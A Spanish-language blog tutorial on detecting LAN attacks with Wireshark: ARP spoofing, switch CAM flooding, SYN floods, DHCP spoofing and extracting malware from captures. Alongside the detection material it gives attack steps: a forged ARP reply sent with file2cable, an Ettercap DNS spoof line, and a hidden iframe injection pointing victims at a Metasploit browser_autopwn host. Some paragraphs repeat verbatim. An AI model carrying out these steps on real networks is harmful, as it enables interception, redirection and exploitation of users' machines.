Ataques en Redes de Área Local.
1.- ARP Spoof
Ademas de servirnos como método de captura en ciertos escenarios, el ARP Spoof es comunmente utilizado por atacantes para interponerse entre una o varias máquinas con el fin de interceptar, modificar o capturar paquetes. Esta técnica, es considerada bastante intrusiva, pero gracias a Wireshark podemos observar lo sospechoso trafico ARP que se esta reciendo, y si observamos mas detalladamente el comportameinto del protocolo, nos daremos cuenta de que el servidor esta siendo víctima de un ataque.
En el paquete número 5 podemos ver cómo la máquina con IP 10.0.0.101, con una MAC IntelCor_6e:a2:69, ha lanzado un ARP request a la dirección broadcast preguntando por la MAC de la IP 10.0.0.1 (el gateway de nuestra red). Acto seguido, el router contesta con un ARP reply indicando cuál es su dirección MAC. A continuación, la misma IP repite el proceso y pregunta por la MAC de la IP 10.0.0.100 (servidor de ficheros) mediante otra difusión broadcast. El servidor contesta con su dirección MAC (IntelCor_49: bd:93). Hasta aquí todo normal. Tenemos una máquina de nuestra LAN (10.0.0.101), que ya tiene la MAC del servidor y la del router con las cuales ya puede compartir tráfico Ethernet. El problema viene a partir del paquete 11, donde la máquina anterior envía reiteradamente a nuestro server y al router paquetes ARP reply falsos, asociando la IP de ambos con su propia MAC (IntelCor_6e:a2:69). De esta forma, todo el tráfico que transite entre el gateway de la LAN y el server pasará a través de la máquina atacante. Herramientas como Ettercap, Cain y Abel o la suit Dsniff permiten llevar a cabo este tipo de ataques sin necesidad de conocer en profundidad el funcionamiento de Ethernet o el protocolo ARP lo que incrementa su peligrosidad ya que un atacante no necesitaría tener conocimientos muy avanzados para capturar conversaciones de protocolos que viajen en claro, obtener contraseñas, ficheros, redirigir tráfico, etc.
Gracias a la información que nos proporciona Wireshark, puede
resultarnos útil en determinados escenarios (pentesting, auditorías,
etc.) generar tramas o paquetes para enviarlos por una interfaz.
Actualmente existen excelentes herramientas para tal propósito como
Scapy, que nos permite crear todo tipo de paquetes desde cero. Sin
embargo, no resultaría complejo hacer lo mismo a partir de
tráfico capturado en Wireshark.
Siguiendo el ejemplo anterior, podríamos capturar un paquete ARP
válido, modificarlo y enviarlo posteriormente por una interfaz con el
objetivo de envenenar la caché ARP de una máquina determinada.
A continuación, se muestra el formato en bruto de una respuesta ARP
generada por nuestro equipo a un ARP request. Podemos buscar estos
paquetes con el siguiente filtro arp.opcode == 0x0002 (ARP reply):
Como se comentó anteriormente, el texto hexadecimal mostrado en la zona
inferior se corresponde con la trama tal y como se trasmite por la red.
Por tanto, nada nos impide tomar eso valores, modificarlos y reenviarlos
de nuevo. Para ello, pulsamos el botón derecho del ratón sobre el
“Frame 46” y seleccionamos “Export Selected Packet Bytes” y guardamos la
trama en un fichero.
Posteriormente, con cualquier editor Hexadecimal, modificaremos la trama
creando un ARP reply. En nuestro caso queremos enviar un ARP reply
modificado a la máquina 192.168.254.245 con MAC 00:15:58:e8:50:0e
haciéndonos pasar por el gateway (IP 192.168.254.254 con MAC
00:0e:0c:c6:c5:82):
Tras modificar la trama podemos enviarla directamente por la interfaz conectada a nuestra LAN mediante la aplicación file2cable:
root@bt:~# file2cable -i eth0 -f arpreply
Para comprobar si ha surtido efecto, podemos comprobar la caché ARP de
la víctima: Posteriormente, con cualquier editor Hexadecimal,
modificaremos la trama creando un ARP reply. En nuestro caso queremos
enviar un ARP reply modificado a la máquina 192.168.254.245 con MAC
00:15:58:e8:50:0e haciéndonos pasar por el gateway (IP 192.168.254.254
con MAC 00:0e:0c:c6:c5:82):
Podemos mantener el ataque, por ejemplo, mediante un script que
ejecutará la instrucción en un bucle. Así conseguiríamos contaminar de
forma constante la caché de la víctima dando como resultado que ésta
envíe todos los paquetes dirigidos fuera de la LAN a nuestro equipo
atacante. Lógicamente, para que este ataque tenga éxito, habría que
realizar la misma operación con la caché del Gateway o del equipo
víctima para conseguir un MitM (Man in the Middle) al completo.
2.- Fort Flooding
Un ejemplo similar al anterior, aunque más fácil de detectar,
consiste en enviar múltiples tramas falsificadas a través de un
puerto con el objetivo de llenar la tabla de asignación del switch.
Generalmente un switch dispone de una memoria interna denominada CAM
(Content-Addressable Memory) donde asigna puertos a direcciones MAC.
Cuando una trama llega a un puerto, la CAM añade una entrada a la tabla
especificando la MAC del equipo que envió la trama junto con el puerto
en el que se encuentra. De esta forma, cuando el switch recibe una trama
dirigida a ese equipo sabrá por qué puerto debe enviarla.
En caso de desconocer el destino de la trama, bien porque el equipo no
ha llegado a generar tráfico o bien porque la entrada asociada a ese
equipo ha expirado, el switch copiará la trama y la enviará por todoslos
puertos de la misma VLAN excepto por aquel por el que fue recibida. De
esta forma, todos los equipos conectados al switch recibirán dicha
trama y únicamente el equipo correspondiente, aquel cuya MAC
coincida con la MAC destino de la trama, contestará; lo que permitirá al
switch añadir una entrada a su tabla CAM con la nueva asociación
MAC/puerto. Gracias a esto, el switch no necesitará inundar (flood)
todos los puertos con futuros paquetes dirigidos a ese equipo.
Pero, ¿qué pasaría si se envían cientos de tramas falsificando la MAC
origen del equipo y llenando la tabla CAM?... En ese caso, su
comportamiento depende del fabricante. Los switches de baja gama no
contienen tablas CAM virtualizadas, es decir, que si la tabla dispone de
un número n máximo de entradas para almacenar las asociaciones
MAC/puerto, y un equipo consigue llenar dicha tabla con n entradas, la
tabla se llenará y todas las VLANs se verán afectadas.
Con tablas CAM virtualizadas se mantendría un espacio de direcciones
independiente para cada VLAN. De esta forma, sólo se verían afectados
los equipos de la propia VLAN.
Yersinia o Macof permiten generar una inundación (flooding) de paquetes
con MAC creadas aleatoriamente con el fin de saturar la tabla de
asignaciones del switch:
3 .- Ataques DDoS
La Figura a continuacion representa un ejemplo de ataque de denegación
de servicio (DoS) a pequeña escala, llevado a cabo por hping2 y que
también salta a la vista nada más comenzar la captura. En este caso
tenemos un Apache instalado en la máquina 10.0.0.101 y observamos gran
cantidad de segmentos TCP con el flag SYN activados desde la misma IP,
que no reciben respuesta alguna por parte del servidor web.
Podemos ver, de forma gráfica, la secuencia de paquetes pinchando en el
menú Statistics >> Flow Graph. Esta herramienta nos facilitará en
numerosas ocasiones seguir el comportamiento de conexiones TCP, ya que,
como vemos en la imagen, describe de forma muy intuitiva mediante
flechas, el origen y destino de cada paquete, resaltando los flag
activos que intervienen en cada sentido de la conexión.
En nuestro caso se observa que, en un intervalo muy corto de tiempo,
existen numerosos intentos de conexión por parte de la IP 10.0.0.200 al
puerto 80 de la máquina 10.0.0.101, situación algo inusual. El servidor
ha tratado de resolver la MAC de la máquina cliente en numerosas
ocasiones, una de ellas la podemos ver en el paquete 7852, pero, al no
recibir respuesta alguna y, por tanto, al carecer de la dirección física
del host, no puede enviar un ACK-SYN al mismo para continuar con el
establecimiento de la conexión a tres pasos.
Esto conlleva que la pila TCP/IP de nuestro servidor tenga que esperar
por cada conexión un tiempo determinado, durante el cual seguirán
llegando más paquetes que irán creando nuevas conexiones. Por cada
conexión que se intente establecer se creará una estructura en memoria
denominada TCB (Transmission Control Block) que es usada por la pila
TCP/IP del sistema operativo para identificar cada una de las conexiones
(sockets local y remoto, segmento actual, punteros a buffers de envío y
recepción, etc) y que, con un número muy elevado, pueden acabar con los
recursos de la máquina produciendo que el equipo deje de contestar más
solicitudes de conexión.
Similar a este tipo de ataques fue el llevado a cabo recientemente por
el grupo Anonymous de 4chan contra los servidores de Amazon y Paypal
mediante las herramientas LOIC (Low Orbit Ion Cannon) y HOIC (High Orbit
Ion Cannon) debido a los altercados con Wikileaks. Estas
herramientas constan de una interfaz muy amigable desde la cual se
puede elegir entre diversas opciones de ataque como son peticiones UDP,
TCP o HTTP así como la velocidad y la cantidad de threads simultáneos.
4 .- DHCP Spoof
Otro tipo de ataque menos común, pero igual de eficiente que el ARP
Spoof, consiste en falsificar paquetes DHCP. El ataque consiste en
instalar un DHCP falso o un software que emule las funciones del mismo
de tal forma que responda a peticiones DHCPDISCOVER de los clientes. Es
necesario analizar los pasos llevados a cabo entre un cliente y un
servidor DHCP legítimo para comprender el ataque en mayor profundidad:
- Cuando un equipo se conecta a la red y solicita una dirección IP envía un DHCPDISCOVER a la dirección broadcast (UDP) esperando respuesta por algún servidor DHCP.
- Éste contestará a tal petición enviando un paquete unicast denominado DHCPOFFER y que contiene varios parámetros de configuración (IP, gateway, etc.).
- Hasta este punto, el cliente puede recibir ofertas de varios servidores DHCP por lo que utilizará el siguiente criterio de elección: si la oferta propuesta se corresponde con una dirección previamente asignada (ya que son recordadas por el cliente), el cliente seleccionará ésta. En caso de que la propuesta no esté relacionada con una dirección IP previa, el cliente adquirirá la primera oferta recibida.
- En respuesta a esta oferta, el cliente enviará un DHCPREQUEST a la dirección broadcast pidiendo autorización para utilizar esa configuración a lo que el servidor responderá, o bien con un paquete unicast DHCPACK autorizando el uso de dicha configuración, o bien con un DHCPNAK denegando el uso de tales parámetros.
La parte interesante es que el protocolo DHCP no proporciona mecanismos
de autenticación que permitan verificar el origen de los paquetes
durante la negociación de estos parámetros de configuración. Por lo
tanto, nada impide que un atacante pueda falsificar paquetes DHCPOFFER
proporcionando información falsa al cliente.
Un posible escenario de ataque consistiría en proporcionar, como puerta
de enlace, la propia IP del atacante con el fin de recibir paquetes
destinados hacia fuera de la LAN. El atacante enrutaría estos paquetes
hacia el sitio legítimo con el objetivo de hacer el ataque totalmente
transparente al usuario.
De la misma forma, el atacante podría falsificar respuestas DNS
especificando su IP como servidor DNS para poder manipular cualquier
resolución de nombres posterior.
Si nos encontramos en una situación de este tipo, Wireshark mostraría un
uso anormal del protocolo DHCP. Otro síntoma podría ser la generación
de errores en nuestras máquinas debido a IPs duplicadas.
Herramientas como Yersinia, Ettercap o simplemente configurando un
servidor DHCP en el equipo del atacante, como dhcpd3, son suficientes
para hacer un MitM (Man in the Middle) usando respuestas
falsificadas DHCP.
Veamos un ejemplo. Un atacante configura un servidor dhcpd3 en su equipo
Linux con los parámetros mostrados en la figura anterior
(/etc/dhcp3/dhcpd.conf)
En él se configura un rango de 4 direcciones IP en desuso (que puede
obtener entre aquellas que no tengan un registro DNS PTR, que no estén
escuchando por servicios comunes o simplemente escuchando respuestas
legítimas del servidor DHCP) y un default gateway legítimo
(192.168.254.255), pero especifica como servidor DNS la IP del atacante
(192.168.254.211). Además, prepara Ettercap para falsificar ciertas
respuestas DNS :
echo www.inteco.es A 192.168.254.211 >> /usr/share/ettercap/etter.dns
Cuando un usuario se conecta a la red y solicita una IP por DHCP,
nuestro servidor falso le facilitará todos los datos necesarios y, como
servidor DNS, la IP del atacante:
A partir de ahora el atacante podrá manipular las respuestas DNS de forma transparente al usuario:
Un método más ofensivo, publicado en hackyeah, consiste en utilizar filtros Ettercap para manipular peticiones HTTP.
El ataque se aprovecharía de un DNS o un ARP Spoof como los vistos
anteriormente, y consistiría en insertar un iframe oculto en cada
petición que contenga una etiqueta <body>; este iframe apuntaría a
la dirección del atacante mientras ejecuta el módulo browser_autopwn de
Metasploit. A continuación se muestra un extracto de código,
proporcionado por hackyeah 22, para crear un filtro que inyecte un
iframe en las respuestas HTTP:
Tras compilar el filtro y lanzar Ettercap, cada vez que la víctima haga
una petición HTTP, Ettercap reemplazará en las respuestas del
server "<BODY"> por <BODY><IFRAME
SRC='http://192.168.254.211' width=0 height=0 /> obligando a realizar
peticiones al equipo atacante de forma transparente mientras éste
ejecuta Metasploit.
5 .- Análisis de Malware
El universo del malware es infinito y está constantemente en evolución.
Sistemas antivirus implantados en servidores de correo o corporativos
ofrecen unos resultados bastante aceptables pero siempre van un paso por
detrás de las nuevas muestras y, por tanto, no son efectivos al 100%
por lo que siempre se pueden dar casos de programas maliciosos que
eluden estos sistemas y alcanzan el equipo del usuario final,
consiguiendo ejecutarse.
Una vez que un equipo está infectado, resulta vital actuar con rapidez
para minimizar el impacto que pueda tener en el propio sistema o en el
resto de la organización por lo que es crucial identificar de qué
espécimen se trata y eliminarlo.
El universo del malware es infinito y está constantemente en evolución.
Sistemas antivirus implantados en servidores de correo o corporativos
ofrecen unos resultados bastante aceptables pero siempre van un paso por
detrás de las nuevas muestras y, por tanto, no son efectivos al 100%
por lo que siempre se pueden dar casos de programas maliciosos que
eluden estos sistemas y alcanzan el equipo del usuario final,
consiguiendo ejecutarse.
Una vez que un equipo está infectado, resulta vital actuar con rapidez
para minimizar el impacto que pueda tener en el propio sistema o en el
resto de la organización por lo que es crucial identificar de qué
espécimen se trata y eliminarlo.
Se nos mostrará una ventana con todas las peticiones HTTP detectadas en
la captura de tráfico junto con el nombre del objeto que ha sido
descargado:
Desde esta ventana podemos descargar el archivo que nos interese
analizar, o descargarlos todos pulsando el botón “Save All”. En nuestro
caso, procedemos a descargar el fichero llamado fcexploit.pdf,
almacenándolo en local. Suponemos que este archivo es malicioso por lo
que habrá que tener cuidado de no abrirlo o ejecutarlo, pero ya tenemos
una posible muestra del malware que podremos a analizar con nuestro
antivirus o enviarla a que sea analizada online. Una de las páginas que
ofrece la posibilidad de examinar ficheros sospechosos haciendo uso
diferentes motores de antivirus es VirusTotal
(http://www.virustotal.com).
En este caso, el resultado obtenido para el fichero descargado fue
positivo, indicando el nombre del virus, por lo que es posible buscar
información específica para eliminarlo y, paralelamente, informar al
proveedor de antivirus para que genere una firma de detección en caso de
no detectarlo.
En caso de no utilizar el protocolo HTTP para descargar malware, también
es posible obtener el código binario, aunque resultaría un poco más
complejo.
Si tenemos sospecha sobre una posible descarga de código malicioso en un
equipo, identificaremos el paquete que inicia la descarga y
filtraremos esa comunicación, seleccionando el paquete y pulsando en
Analyze >> Follow TCP Stream.
Si seleccionamos el filtro de forma que se muestre únicamente el tráfico
enviado por el servidor, podemos guardar esa información en formato RAW
y analizarla como se ha explicado anteriormente.
Bueno creo que con esto es mas que suficiente para que vean lo
importante que puede ser vigilar nuestra Red Local, tenemos que estar
atentos a un posible atentado a nuestra red.
Se que leer esto les puede parecer aburrir, pero que vale manejar
algunas herramientas si no sabes ni lo que sucede en tu propia red, es
importante conocer el funcionamientos de las cosas....siempre es bueno
preguntarse el PERO y el COMO. Sería bueno que empiezen a aprender algo
bueno y no simplemente aprender a manejar algunos Script......=)
No hay comentarios:
Publicar un comentario